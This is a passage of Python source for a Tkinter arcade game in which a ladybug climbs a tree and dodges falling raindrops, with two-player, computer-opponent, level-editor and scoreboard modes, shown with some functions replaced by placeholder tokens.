text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and 